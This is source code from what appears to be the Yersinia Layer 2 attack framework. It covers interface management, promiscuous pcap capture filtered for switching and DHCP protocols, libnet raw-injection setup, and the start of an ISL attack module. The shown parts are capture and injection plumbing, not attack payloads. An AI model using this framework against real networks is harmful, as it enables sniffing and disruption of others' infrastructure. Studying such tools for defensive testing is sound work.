*iface) { dlist_t *p; u_int16_t i; struct interface_data *iface_data; if (pthread_mutex_lock(&interfaces->mutex) != 0) { thread_error("interfaces_enable pthread_mutex_lock",errno); return -1; } for (i = 0, p = interfaces->list; p; i++, p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if ((strncmp(iface_data->ifname, iface, strlen(iface))) == 0) { if (iface_data->users == 0) { iface_data->up = 1; iface_data->users++; if (iface_data->pcap_handler == NULL) { if (interfaces_init_pcap(iface_data->ifname) == -1) { if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_enable pthread_mutex_unlock",errno); return -1; } } if (iface_data->libnet_handler == NULL) { if (interfaces_init_libnet(iface_data->ifname) == -1) { if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_enable pthread_mutex_unlock",errno); return -1; } } } else iface_data->users++; if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("interfaces_enable pthread_mutex_unlock",errno); return -1; } return i; } } if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_enable pthread_mutex_unlock",errno); return -1; } /* * Search for interface name. * Use global interfaces list (interfaces). * Return interface index on success. * Return -1 on error. */ int16_t interfaces_get( char *iface ) { dlist_t *p; u_int16_t i; struct interface_data *iface_data; if ( pthread_mutex_lock( &interfaces->mutex ) != 0 ) { thread_error( "interfaces_get pthread_mutex_lock", errno ); return -1; } for ( i = 0, p = interfaces->list; p ; i++, p = dlist_next( interfaces->list, p ) ) { iface_data = (struct interface_data *) dlist_data(p); if ( strncmp( iface_data->ifname, iface, strlen( iface ) ) == 0 ) { if ( pthread_mutex_unlock( &interfaces->mutex ) != 0 ) { thread_error( "interfaces_get pthread_mutex_unlock", errno ); return -1; } return i; } } if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_get pthread_mutex_unlock",errno); return -1; } /* * Search for enabled interface by name * Return interface index on success. * Return -1 on error. */ int16_t interfaces_get_enabled( char *iface ) { dlist_t *p; u_int16_t i; struct interface_data *iface_data; if ( pthread_mutex_lock( &interfaces->mutex ) != 0 ) { thread_error( "interfaces_get pthread_mutex_lock", errno ); return -1; } for ( i = 0, p = interfaces->list; p ; i++, p = dlist_next( interfaces->list, p ) ) { iface_data = (struct interface_data *) dlist_data(p); if ( iface_data->up && ( strncmp( iface_data->ifname, iface, strlen( iface ) ) == 0 ) ) { if ( pthread_mutex_unlock( &interfaces->mutex ) != 0 ) { thread_error( "interfaces_get pthread_mutex_unlock", errno ); return -1; } return i; } } if ( pthread_mutex_unlock(&interfaces->mutex) != 0 ) thread_error("interfaces_get pthread_mutex_unlock", errno ); return -1; } /* * Search for interface name. * Use global interfaces list (interfaces). * Return interface_data * on success. * Return NULL on error. */ struct interface_data * interfaces_get_struct(char *iface) { dlist_t *p; u_int16_t i; struct interface_data *iface_data; if (pthread_mutex_lock(&interfaces->mutex) != 0) { thread_error("interfaces_get pthread_mutex_lock",errno); return NULL; } for (i = 0, p = interfaces->list; p ; i++, p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if ((strncmp(iface_data->ifname, iface, strlen(iface))) == 0) { if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("interfaces_get pthread_mutex_unlock",errno); return NULL; } return iface_data; } } if (pthread_mutex_unlock(&interfaces->mutex) != 0) thread_error("interfaces_get pthread_mutex_unlock",errno); return NULL; } /* * Disable a network interface from the global interfaces list * Return -1 on error, 0 on success. * Use global interfaces list (interfaces). */ int8_t interfaces_disable( char *iface ) { int8_t ret = -1 ; dlist_t *node; struct interface_data *iface_data; if ( ! pthread_mutex_lock( &interfaces->mutex ) ) { node = dlist_search( interfaces->list, interfaces->cmp, (void *)iface ); if ( node ) { iface_data = (struct interface_data *) dlist_data(node); if ( iface_data->users == 1 ) { iface_data->up = 0; iface_data->users = 0; } else iface_data->users--; ret = 0 ; } else { write_log(0, "Ohh I haven't found the interface %s\n", iface); ret = -1; } if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("interfaces_disable pthread_mutex_unlock",errno); ret = -1; } } else thread_error("interfaces_disable pthread_mutex_lock",errno); return ret ; } int8_t interfaces_init_pcap(char *iface) { struct bpf_program filter_code; dlist_t *node; struct interface_data *iface_data; bpf_u_int32 local_net, netmask; char errbuf[PCAP_ERRBUF_SIZE]; #ifdef HAVE_BPF u_int8_t one; #endif node = dlist_search(interfaces->list, interfaces->cmp, iface); if (!node) return -1; iface_data = (struct interface_data *) dlist_data(node); if ( (iface_data->pcap_handler = pcap_open_live(iface_data->ifname, SNAPLEN, PROMISC, TIMEOUT, errbuf)) == NULL) { write_log(0, "pcap_open_live failed: %s\n", errbuf); return -1; } if ( pcap_lookupnet(iface_data->ifname, &local_net, &netmask, errbuf) == -1) { write_log(0, "pcap_lookupnet failed: %s\n", errbuf); /* Removed so we can sniff on interfaces without address... :) */ /* return -1; */ } if (pcap_compile(iface_data->pcap_handler, &filter_code, FILTER, 0, netmask) == -1 ) { write_log(0, "pcap_compile failed: %s", pcap_geterr(iface_data->pcap_handler)); return -1; } if (pcap_setfilter(iface_data->pcap_handler, &filter_code) == -1) { write_log(0, "pcap_setfilter failed: %s", pcap_geterr(iface_data->pcap_handler)); return -1; } iface_data->pcap_file = pcap_fileno(iface_data->pcap_handler); #ifdef HAVE_BPF one = 1; if (ioctl(iface_data->pcap_file, BIOCIMMEDIATE, &one) < 0) { write_log(0, "ioctl(): BIOCIMMEDIATE: %s", strerror(errno)); return (-1); } #endif return 0; } int8_t interfaces_init_libnet(char *iface) { char errbuf[LIBNET_ERRBUF_SIZE]; dlist_t *node; struct interface_data *iface_data; node = dlist_search(interfaces->list, interfaces->cmp, (void *)iface); iface_data = dlist_data(node); iface_data->libnet_handler = libnet_init(LIBNET_LINK, iface_data->ifname, errbuf); if (iface_data->libnet_handler == NULL) { write_log(0,"libnet_init failed on %s -> %s\n", iface_data->ifname, errbuf); return -1; } /* we need 'pseudorandom' numbers ;) */ libnet_seed_prand(iface_data->libnet_handler); return 0; } /* * Thread body for listening in the network and serve the packets * Use global struct 'queue' */ void interfaces_th_pcap_listen( void *arg ) { THREAD *pcap_th = (THREAD *)arg; struct interface_data *iface_data; int32_t ret, max; u_int16_t a; int8_t proto; fd_set read_set; struct timeval timeout; sigset_t mask; struct pcap_data packet_data; dlist_t *p; if (tty_tmp->debug) write_log(0,"\n interfaces_th_pcap_listen thread_id = %X\n",(int)pthread_self()); pthread_mutex_lock(&pcap_th->finished); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("ints_th_pcap_listen pthread_sigmask()",errno); interfaces_th_pcap_listen_exit(pcap_th); } while(!pcap_th->stop) { max = 0; FD_ZERO(&read_set); p = interfaces->list; while(p) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up == 1) { FD_SET( iface_data->pcap_file, &read_set ); if (max < iface_data->pcap_file) max = iface_data->pcap_file; } p = dlist_next(interfaces->list, p); } if (!max) /* For avoiding 100% CPU */ thread_usleep(150000); if (max && !pcap_th->stop) { timeout.tv_sec = 0; timeout.tv_usec = 500000; if ( (ret=select( max+1, &read_set, NULL, NULL, &timeout ) ) == -1 ) { thread_error("interfaces_th_pcap_listen select()",errno); interfaces_th_pcap_listen_exit(pcap_th); } if ( ret ) /* Data on pcap... */ { p = interfaces->list; while( (p) && !pcap_th->stop ) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up == 1) { if (FD_ISSET( iface_data->pcap_file, &read_set )) { if ((ret = pcap_next_ex(iface_data->pcap_handler, &packet_data.header, (const u_char **) &packet_data.packet)) < 0) { write_log(0, "interfaces_th_pcap_listen pcap_next_ex failed: (%d) %s", ret, pcap_geterr(iface_data->pcap_handler)); interfaces_th_pcap_listen_exit(pcap_th); } if (!ret) /* pcap_next_ex timeout...*/ continue; } else { p = dlist_next(interfaces->list, p); continue; } /* save the interface that has received the packet */ strncpy(packet_data.iface, iface_data->ifname, IFNAMSIZ); /* update stats */ if (tty_tmp->debug) write_log(0, "Updating packet stats in interface %s...\n", iface_data->ifname); proto = interfaces_update_stats(&packet_data); if (tty_tmp->debug) write_log(0, "Packet stats updated!\n"); if (proto != NO_PROTO) { /* update the user pcap_files...*/ if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("interfaces pthread_mutex_lock",errno); for(a=0; a<MAX_TERMS; a++) { if (terms->list[a].up) { if (terms->list[a].pcap_file.pdumper && (terms->list[a].pcap_file.iflink == iface_data->iflink) ) pcap_dump((u_char *)terms->list[a].pcap_file.pdumper, packet_data.header, packet_data.packet); if (terms->list[a].protocol[proto].pcap_file.pdumper && (terms->list[a].protocol[proto].pcap_file.iflink == iface_data->iflink) ) pcap_dump((u_char *)terms->list[a].protocol[proto].pcap_file.pdumper, packet_data.header, packet_data.packet); } } if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("ints_th_pcap_listen pthread_mutex_unlock",errno); /* update the queue...*/ pthread_mutex_lock(&queue[proto].mutex); memcpy(queue[proto].data[(queue[proto].index%MAX_QUEUE)].header, packet_data.header, sizeof(struct pcap_pkthdr)); memcpy(queue[proto].data[(queue[proto].index%MAX_QUEUE)].packet, packet_data.packet, packet_data.header->caplen); strncpy(queue[proto].data[(queue[proto].index%MAX_QUEUE)].iface, packet_data.iface, IFNAMSIZ); queue[proto].index++; pthread_mutex_unlock(&queue[proto].mutex); } } /* if interfaces.up */ p = dlist_next(interfaces->list, p); } /* while */ } } /* if max */ } /* while(!stop)*/ interfaces_th_pcap_listen_exit( pcap_th ); } /* * We arrived here due to normal termination * from thread pcap listener main routine... * Release resources... */ void interfaces_th_pcap_listen_exit( THREAD *pcap_th ) { write_log(0,"\n ints_pcap_listen_exit started...\n"); pcap_th->stop = 0; pcap_th->id = 0; /* Tell parent that we are going to die... */ fatal_error--; write_log(0,"\n ints_pcap_listen_exit finished...\n"); if (pthread_mutex_unlock(&pcap_th->finished) != 0) thread_error("ints_pcap_listen_exit mutex_unlock",errno); pthread_exit(NULL); } /* * Get a packet from the protocol queue * Use global struct 'queue'. * Return a pointer to the interface that has received the packet (struct * interface_data). */ struct interface_data *interfaces_get_packet( list_t *used_ints, struct interface_data *iface, u_int8_t *stop_attack, struct pcap_pkthdr *header, u_int8_t *packet, u_int16_t proto, time_t timeout) { u_int8_t i; time_t initial, secs; dlist_t *p; secs = initial = time(NULL); while(!(*stop_attack) && ((secs - initial) <= timeout)) { pthread_mutex_lock(&queue[proto].mutex); for(i=0; i < MAX_QUEUE; i++) { if ( (queue[proto].data[i].header->ts.tv_sec > header->ts.tv_sec) || ( (queue[proto].data[i].header->ts.tv_sec == header->ts.tv_sec) && (queue[proto].data[i].header->ts.tv_usec > header->ts.tv_usec) ) ) { /* Only accept packets from this interface */ if (iface) { if (strncmp(iface->ifname, queue[proto].data[i].iface, IFNAMSIZ) == 0) { memcpy(header, queue[proto].data[i].header, sizeof(struct pcap_pkthdr)); memcpy(packet, queue[proto].data[i].packet, queue[proto].data[i].header->caplen); pthread_mutex_unlock(&queue[proto].mutex); return (struct interface_data *) iface; } } else { /* Accept packets from ALL intefarces used by the attack */ p = dlist_search(used_ints->list, used_ints->cmp, queue[proto].data[i].iface); if (p) { memcpy(header, queue[proto].data[i].header, sizeof(struct pcap_pkthdr)); memcpy(packet, queue[proto].data[i].packet, queue[proto].data[i].header->caplen); pthread_mutex_unlock(&queue[proto].mutex); return (struct interface_data *) dlist_data(p); } } } } pthread_mutex_unlock(&queue[proto].mutex); if (timeout) secs = time(NULL); thread_usleep(50000); } return NULL; } /* * Update protocol statistics. * Return protocol */ u_int16_t interfaces_update_stats(struct pcap_data *packet_data) { struct timeval time_tmp; struct pcap_data *thedata; u_int16_t i, j, min_len; u_int8_t found; int8_t proto; dlist_t *p; struct interface_data *iface_data; i = j = min_len = 0; found = 0; thedata = NULL; if ((proto = interfaces_recognize_packet(packet_data->packet, packet_data->header)) < 0) return -1; thedata = protocols[proto].stats; protocols[proto].packets++; if ((p = dlist_search(interfaces->list, interfaces->cmp, (void *)packet_data->iface)) == NULL) return -1; iface_data = (struct interface_data *) dlist_data(p); iface_data->packets[proto]++; memcpy(&time_tmp, &thedata[0].header->ts, sizeof(struct timeval)); /* Discard corrupt packets */ /* if (packet_data->header->caplen < min_len) { write_log(0, "Error when receiving packet from protocol %d and size %d and the \ minimum size is %d\n", proto, packet_data->header->caplen, min_len); return NO_PROTO; }*/ /* find if there is a similar packet */ while ((!found) && (i < MAX_PACKET_STATS)) { if ((memcmp(thedata[i].packet, packet_data->packet, packet_data->header->caplen) == 0) && (strncmp(thedata[i].iface, packet_data->iface, strlen(thedata[i].iface)) == 0)) { memcpy(thedata[i].header, packet_data->header, sizeof(struct pcap_pkthdr)); found = 1; /* increase the count */ thedata[i].total++; } else { if ( (thedata[i].header->ts.tv_sec < time_tmp.tv_sec) || ( (thedata[i].header->ts.tv_sec == time_tmp.tv_sec) && (thedata[i].header->ts.tv_usec < time_tmp.tv_usec)) ) { memcpy(&time_tmp, &thedata[i].header->ts, sizeof(struct timeval)); j = i; } } i++; } /* if not, remove the oldest one */ if (!found) { memcpy(thedata[j].header, packet_data->header, sizeof(struct pcap_pkthdr)); memcpy(thedata[j].packet, packet_data->packet, packet_data->header->caplen); strncpy(thedata[j].iface, packet_data->iface, IFNAMSIZ); thedata[j].total = 1; } /* temporal fix until ARP is supported (will be?) */ if (proto != PROTO_ARP) packet_stats.global_counter.total_packets++; /* interfaces[packet_data->iface].total_packets++;*/ return proto; } int8_t interfaces_recognize_packet(u_int8_t *packet, struct pcap_pkthdr *header) { u_int8_t i, j, *tmp1, isvalid; int8_t result; result = -1; for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].active) continue; j = 0; isvalid = 1; while (protocols[i].features[j].field > 0) { switch(protocols[i].features[j].field) { case F_ETHERTYPE: if (header->caplen >= 12) { if (ntohs(*(u_int16_t *)(packet + 12)) == (u_int16_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_LLC_DSAP: if (header->caplen >= LIBNET_802_3_H) { if ((*(u_int8_t *)(packet + LIBNET_802_3_H)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_LLC_SSAP: if (header->caplen >= LIBNET_802_3_H + 1) { if ((*(u_int8_t *)(packet + LIBNET_802_3_H + 1)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_LLC_SNAP: if (header->caplen >= LIBNET_802_3_H + 2) { if ((*(u_int8_t *)(packet + LIBNET_802_3_H + 2)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_LLC_CISCO: if (header->caplen >= 20) { if (ntohs(*(u_int16_t *)(packet + 20)) == (u_int16_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_1: if (header->caplen >= 1) { if ((*(u_int8_t *)(packet)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_2: if (header->caplen >= 2) { if ((*(u_int8_t *)(packet + 1)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_3: if (header->caplen >= 3) { if ((*(u_int8_t *)(packet+ 2)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_4: if (header->caplen >= 4) { if ((*(u_int8_t *)(packet + 3)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_5: if (header->caplen >= 5) { if ((*(u_int8_t *)(packet + 4)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_DMAC_6: if (header->caplen >= 6) { if ((*(u_int8_t *)(packet + 5)) == (u_int8_t)protocols[i].features[j].value) result = protocols[i].proto; else isvalid = 0; } break; case F_UDP_PORT: if (header->caplen >= LIBNET_ETH_H + (((*(packet + LIBNET_ETH_H))&0x0F)*4)) { /* IP */ if (ntohs(*(u_int16_t *)(packet + 12)) == 0x0800) { /* UDP datagram */ if (*(packet + LIBNET_ETH_H + 9) == IPPROTO_UDP) { /* take the ipv4 header length out */ tmp1 = (packet + LIBNET_ETH_H + (((*(packet + LIBNET_ETH_H))&0x0F)*4)); if ((ntohs(*(u_int16_t *)(tmp1)) == protocols[i].features[j].value) || (ntohs(*(u_int16_t *)(tmp1 + 2)) == protocols[i].features[j].value)) result = protocols[i].proto; else isvalid = 0; } } } break; default: break; } j++; } if ((isvalid) && (result >= 0)) return result; } return -1; } int8_t interfaces_clear_stats(int8_t stats) { int8_t i, j; dlist_t *p; struct interface_data *iface_data; for (i = 0; i < MAX_PACKET_STATS; i++) { if (stats == PROTO_ALL) for (j = 0; j < MAX_PROTOCOLS; j++) { memset((void *)protocols[j].stats[i].header, 0, sizeof(struct pcap_pkthdr)); memset((void *)protocols[j].stats[i].packet, 0, SNAPLEN); } else { memset((void *)protocols[stats].stats[i].header, 0, sizeof(struct pcap_pkthdr)); memset((void *)protocols[stats].stats[i].packet, 0, SNAPLEN); } } if (stats == PROTO_ALL) { packet_stats.global_counter.total_packets = 0; for (i = 0; i < MAX_PROTOCOLS; i++) protocols[i].packets = 0; } else protocols[stats].packets = 0; for (p = interfaces->list; p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if (stats == PROTO_ALL) { /* interfaces[i].total_packets = 0;*/ for (j = 0; j < MAX_PROTOCOLS; j++) { iface_data->packets[j] = 0; iface_data->packets_out[j] = 0; } } else { iface_data->packets[stats] = 0; iface_data->packets_out[stats] = 0; } } write_log(0, "Clearing stats for protocol(s) %d...\n", stats); return 0; } int8_t interfaces_destroy(THREAD *pcap_th) { u_int16_t i, j; dlist_t *p; struct interface_data *iface_data; write_log(0,"\n ints_destroy started...\n"); if (pcap_th->id) { write_log(0," ints_destroy killing pcap_listener(%d)...\n", (int)pcap_th->id); thread_destroy(pcap_th); } for (i=0; i < MAX_PROTOCOLS; i++) { if (pthread_mutex_destroy(&queue[i].mutex) != 0) thread_error("pthread_mutex_destroy queue",errno); for (j=0; j < MAX_QUEUE; j++) { if (queue[i].data[j].packet) free(queue[i].data[j].packet); if (queue[i].data[j].header) free(queue[i].data[j].header); } } /* destroy'em all!! I mean the libnet and pcap handlers :) */ for (p = interfaces->list; p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->libnet_handler) libnet_destroy(iface_data->libnet_handler); if (iface_data->pcap_handler) pcap_close(iface_data->pcap_handler); } dlist_delete(interfaces->list); if (interfaces) { pthread_mutex_destroy(&interfaces->mutex); free(interfaces); } write_log(0," ints_destroy finished...\n"); return 0; } /* * Open a pcap file for writing 'proto' packets * If proto == PROTO_ALL write packets from all protocols */ int8_t interfaces_pcap_file_open(struct term_node *node, u_int8_t proto, char *name, char *iface) { dlist_t *p; struct interface_data *iface_data; if ((p = dlist_search(interfaces->list, interfaces->cmp, (void *)iface)) == NULL) return -1; iface_data = (struct interface_data *) dlist_data(p); if (proto != PROTO_ALL) { if (strlen(name)>= FILENAME_MAX) { node->protocol[proto].pcap_file.name = (char *)calloc(1,FILENAME_MAX+1); if (node->protocol[proto].pcap_file.name == NULL) { thread_error("interfaces_pcap_file_open calloc",errno); return -1; } memcpy(node->protocol[proto].pcap_file.name,name,FILENAME_MAX); } else { node->protocol[proto].pcap_file.name = (char *)calloc(1,strlen(name)+1); if (node->protocol[proto].pcap_file.name == NULL) { thread_error("interfaces_pcap_file_open calloc",errno); return -1; } memcpy(node->protocol[proto].pcap_file.name,name,strlen(name)); } node->protocol[proto].pcap_file.pd = iface_data->pcap_handler; node->protocol[proto].pcap_file.pdumper = pcap_dump_open(node->protocol[proto].pcap_file.pd, node->protocol[proto].pcap_file.name); node->protocol[proto].pcap_file.iflink = iface_data->iflink; if (node->protocol[proto].pcap_file.pdumper == NULL) { write_log(0,"pcap_dump_open: %s\n", pcap_geterr(node->protocol[proto].pcap_file.pd)); node->protocol[proto].pcap_file.pd = NULL; free(node->protocol[proto].pcap_file.name); return -1; } } else { if (strlen(name)>= FILENAME_MAX) { node->pcap_file.name = (char *)calloc(1,FILENAME_MAX+1); if (node->pcap_file.name == NULL) { thread_error("interfaces_pcap_file_open calloc",errno); return -1; } memcpy(node->pcap_file.name,name,FILENAME_MAX); } else { node->pcap_file.name = (char *)calloc(1,strlen(name)+1); if (node->pcap_file.name == NULL) { thread_error("interfaces_pcap_file_open calloc",errno); return -1; } memcpy(node->pcap_file.name,name,strlen(name)); } node->pcap_file.pd = iface_data->pcap_handler; node->pcap_file.pdumper = pcap_dump_open(node->pcap_file.pd, node->pcap_file.name); node->pcap_file.iflink = iface_data->iflink; if (node->pcap_file.pdumper == NULL) { write_log(0,"pcap_dump_open: %s\n", pcap_geterr(node->pcap_file.pd)); node->pcap_file.pd = NULL; free(node->pcap_file.name); return -1; } } return 0; } int8_t interfaces_pcap_file_close(struct term_node *node, u_int8_t proto) { if (proto != PROTO_ALL) { pcap_dump_flush(node->protocol[proto].pcap_file.pdumper); pcap_dump_close(node->protocol[proto].pcap_file.pdumper); node->protocol[proto].pcap_file.pdumper = NULL; node->protocol[proto].pcap_file.pd = NULL; free(node->protocol[proto].pcap_file.name); node->protocol[proto].pcap_file.name = NULL; } else { pcap_dump_flush(node->pcap_file.pdumper); pcap_dump_close(node->pcap_file.pdumper); node->pcap_file.pdumper = NULL; node->pcap_file.pd = NULL; free(node->pcap_file.name); node->pcap_file.name = NULL; } return 0; } #ifndef HAVE_PCAP_DUMP_FLUSH int8_t pcap_dump_flush(pcap_dumper_t *p) { if (fflush((FILE *)p) == EOF) return (-1); else return (0); } #endif /* * Get the last interface that has received a 'mode' packet. * If mode == PROTO_ALL take into account all the protocols. * Return 0 if no packet. */ u_int8_t interfaces_get_last_int(u_int8_t mode) { u_int8_t i, a, last=0, proto; u_int32_t sec=0, usec=0; for (a=0; a < MAX_PROTOCOLS; a++) { if (mode != PROTO_ALL) proto = mode; else proto = a; for (i=0; i < MAX_PACKET_STATS; i++) { if (protocols[proto].stats[i].header->ts.tv_sec > 0) { if ( (protocols[proto].stats[i].header->ts.tv_sec > sec) || ( (protocols[proto].stats[i].header->ts.tv_sec == sec) && (protocols[proto].stats[i].header->ts.tv_usec > usec) ) ) { sec = protocols[proto].stats[i].header->ts.tv_sec; usec = protocols[proto].stats[i].header->ts.tv_usec; last = interfaces_get(protocols[proto].stats[i].iface); } } } if (mode != PROTO_ALL) break; } return last; } int interfaces_compare( void *data, void *pattern ) { struct interface_data *iface_data; iface_data = (struct interface_data *) data; return( strncmp( (char *)iface_data->ifname, (char *)pattern, strlen( (char *)iface_data->ifname ) ) ); }
C/C++
yersinia/src/interfaces.h
/* interfaces.h * Definitions for network interfaces and capturing packets * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __INTERFACES_H__ #define __INTERFACES_H__ #include <pcap.h> #include <libnet.h> #include "protocols.h" #include "thread-util.h" #include "terminal-defs.h" #include "dlist.h" #ifndef BPDU_TCN #define BPDU_TCN 0x80 #endif #define ALL_INTS -1 /* Max protocol queue size */ #define MAX_QUEUE 5 #ifndef IFNAMSIZ #define IFNAMSIZ 16 #endif #define PCAP_DESC 16 #define IPADDRSIZ 46 #define PROMISC 1 #define TIMEOUT 500 #define FILTER "stp || (udp and (port 1985 or port 68 or port 67)) || (ether host 01:00:0c:cc:cc:cc and ether[20:2] = 0x2000) || (ether host 01:00:0c:cc:cc:cc and ether[20:2] = 0x2004) || (ether host 01:00:0c:cc:cc:cc and ether[20:2] = 0x2003) || arp || (ether[12:2] = 0x8100) || (ether[14]=0xaa and ether[15]=0xaa and ether[0]=0x01 and ether[1]=0x00 and ether[2]=0x0c and ether[3]=0x00 and ether[4]=0x00) || (ether[0]=0x01 and ether[1]=0x80 and ether[2]=0xc2 and ether[12:2] = 0x888e) || mpls" /* Fields for recognizing packets */ #define F_ETHERTYPE 1 #define F_LLC_SSAP 2 #define F_LLC_DSAP 3 #define F_LLC_SNAP 4 #define F_LLC_CISCO 5 #define F_DMAC_1 6 #define F_DMAC_2 7 #define F_DMAC_3 8 #define F_DMAC_4 9 #define F_DMAC_5 10 #define F_DMAC_6 11 #define F_UDP_PORT 12 #define NO_TIMEOUT 0 extern list_t *interfaces; struct interface_data { int8_t up; /* is it active? */ char ifname[IFNAMSIZ+1]; /* Interface name */ int iflink; /* Type of data link */ char iflink_name[PCAP_DESC+1]; char iflink_desc[PCAP_DESC+1]; int8_t desc[PCAP_DESC+1]; u_int8_t etheraddr[ETHER_ADDR_LEN]; /* MAC Address */ char ipaddr[IPADDRSIZ+1]; /* IP address */ char netmask[IPADDRSIZ+1]; /* Netmask address */ char broadcast[IPADDRSIZ+1]; /* Broadcast address */ char ptpaddr[IPADDRSIZ+1]; /* Point-to-point (if suitable) */ pcap_t *pcap_handler; /* Libpcap handler */ int pcap_file; /* Libpcap file handler */ libnet_t *libnet_handler; /* Libnet handler */ u_int16_t users; /* number of clients using it */ u_int32_t packets[MAX_PROTOCOLS]; u_int32_t packets_out[MAX_PROTOCOLS]; }; struct counter_stats { u_int32_t total_packets; u_int32_t total_packets_out; }; struct packet_stats { struct counter_stats global_counter; }; struct packet_queue { struct pcap_data data[MAX_QUEUE]; pthread_mutex_t mutex; u_int16_t index; }; int8_t interfaces_init(THREAD *); int8_t interfaces_init_data(struct interface_data *); int16_t interfaces_enable(char *); int16_t interfaces_get(char *); struct interface_data *interfaces_get_struct(char *); int8_t interfaces_disable(char *); int8_t interfaces_init_pcap(char *); int8_t interfaces_init_libnet(char *); void interfaces_th_pcap_listen(void *); void interfaces_th_pcap_listen_exit(THREAD *); void interfaces_th_pcap_listen_clean(void *); struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *stop, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); int8_t interfaces_clear_stats(int8_t); int8_t interfaces_destroy(THREAD *); u_int16_t interfaces_update_stats(struct pcap_data *); int8_t interfaces_recognize_packet(u_int8_t *, struct pcap_pkthdr *); int8_t interfaces_pcap_file_open(struct term_node *, u_int8_t, char *, char *); int8_t interfaces_pcap_file_close(struct term_node *, u_int8_t); u_int8_t interfaces_get_last_int(u_int8_t); int interfaces_compare(void *, void *); int16_t interfaces_get_enabled( char *); #ifndef HAVE_PCAP_DUMP_FLUSH int8_t pcap_dump_flush(pcap_dumper_t *); #endif /* External stuff */ extern pthread_mutex_t mutex_int; extern struct terminals *terms; extern int8_t fatal_error; extern struct packet_queue queue[]; extern struct packet_stats packet_stats; extern struct packet_data packet_data; extern FILE *log_file; extern void thread_error(char *, int8_t); extern int8_t thread_destroy(THREAD *); extern struct term_tty *tty_tmp; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/isl.c
/* isl.c * Implementation and attacks for Inter-Switch Link Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "isl.h" void isl_register(void) { protocol_register(PROTO_ISL, "ISL", "Inter-Switch Link Protocol", "isl", sizeof(struct isl_data), isl_init_attribs, NULL, isl_get_printable_packet, isl_get_printable_store, NULL, isl_attack, NULL, isl_features, isl_comm_params, SIZE_ARRAY(isl_comm_params), NULL, 0, NULL, isl_init_comms_struct, PROTO_VISIBLE, isl_end); } int8_t isl_init_comms_struct(struct term_node *node) { struct isl_data *isl_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(isl_comm_params)); if (comm_param == NULL) { thread_error("isl_init_comms_struct calloc error",errno); return -1; } isl_data = node->protocol[PROTO_ISL].tmp_data; node->protocol[PROTO_ISL].commands_param = comm_param; 